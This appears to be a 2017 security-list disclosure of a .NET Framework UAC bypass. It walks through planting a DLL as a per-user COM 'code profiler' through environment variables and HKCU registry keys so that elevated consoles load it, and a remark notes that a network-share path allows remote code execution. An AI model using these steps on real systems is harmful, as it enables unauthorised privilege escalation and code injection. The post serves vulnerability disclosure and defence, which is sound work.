Hi @ll,
all versions of .NET Framework support to load a COM object as
code profiler, enabled via two or three environment variables.
>From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>
| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.
>From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:
| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.
>From <https://msdn.microsoft.com/en-us/library/bb756926.aspx>:
| Beginning with Windows Vista(r) and Windows Server(r) 2008, if the
| integrity level of a process is higher than Medium, the COM
| runtime ignores per-user COM configuration and accesses only
| per-machine COM configuration. This action reduces the surface
| area for elevation of privilege attacks, preventing a process
| with standard user privileges from configuring a COM object with
| arbitrary code and having this code called from an elevated process.
Let's see how "similar" .NET Framework's manners are:
0. logon to the user account created during Windows setup;
1. fetch
<https://skanthak.homepage.t-online.de/download/SENTINEL.CAB>
and store it in an arbitrary directory, for example
"%USERPROFILE%\Downloads";
2. start an UNPRIVILEGED command prompt in this directory and run
the following command lines to
2.a) unpack I386\SENTINEL.DLL, AMD64\SENTINEL.DLL and IA64\SENTINEL.DLL
from SENTINEL.CAB to the current directory:
EXPAND.EXE /R SENTINEL.CAB /F:*.DLL "%CD%"
2.b) set the environment variables:
SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
JFTR: the CLSID doesn't matter, use any CLSID you like!
2.c) register SENTINEL.DLL as per-user COM object:
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32
IF %PROCESSOR_ARCHITECTURE% == x86 (
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) ELSE (
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\%COR_PROFILER%\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F )
SET KEY=
JFTR: registration is only necessary for targets using .NET
Framework before version 4; from version 4 onward, the
following command can be used instead
SET COR_PROFILER_PATH=%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL
2.d) start PowerShell or any other .NET application:
POWERSHELL.EXE
Notice the message boxes displayed from SENTINEL.DLL: PWNED!
2.e) start the Microsoft Management Console:
START MMC.EXE SECPOL.MSC
START MMC.EXE EVENTVWR.MSC
Notice the message boxes displayed from SENTINEL.DLL running with
integrity level HIGH: PWNED!
JFTR: to achieve remote code execution with elevation of privilege
instead of local code execution with elevation of privilege
place the "profiler" DLL on an arbitrary network share and
use its UNC path instead of the local path.
Now compare this behavior to the "Manifestation" stated on
<https://msdn.microsoft.com/en-us/library/bb756926.aspx>:
| Applications that are run-elevated (whether manifested as Require
| Administrator or user-selected by right-clicking and selecting
| Run as Administrator), as well as applications run from an account
| that is a member of the Administrators group where User Account
| Control (UAC) is disabled, will not be able to access any COM objects
| configured per-user.
Also don't forget (unlike the .NET developers) to read
<https://blogs.msdn.microsoft.com/vistacompatteam/2006/10/17/per-user-com-on-vista-for-elevated-token-processes/>
<https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/>
<https://blogs.msdn.microsoft.com/cjacks/2008/06/06/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1/
>
<https://blogs.msdn.microsoft.com/cjacks/2008/07/22/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1-
part-2-ole-automation/>
Mitigations:
~~~~~~~~~~~~
* dump .NET Framework and all applications that use it!
* dump UAC!
* use STRICT privilege separation!
stay tuned
Stefan Kanthak
Timeline:
~~~~~~~~~
2017-06-23 vulnerability report sent to vendor
2017-06-23 reply from vendor:
"MSRC case 39303 opened"
2017-07-05 reply from vendor:
"UAC is not a security boundary. As such, this does not
meet the bar for an explicit down level fix."
2017-07-05 report published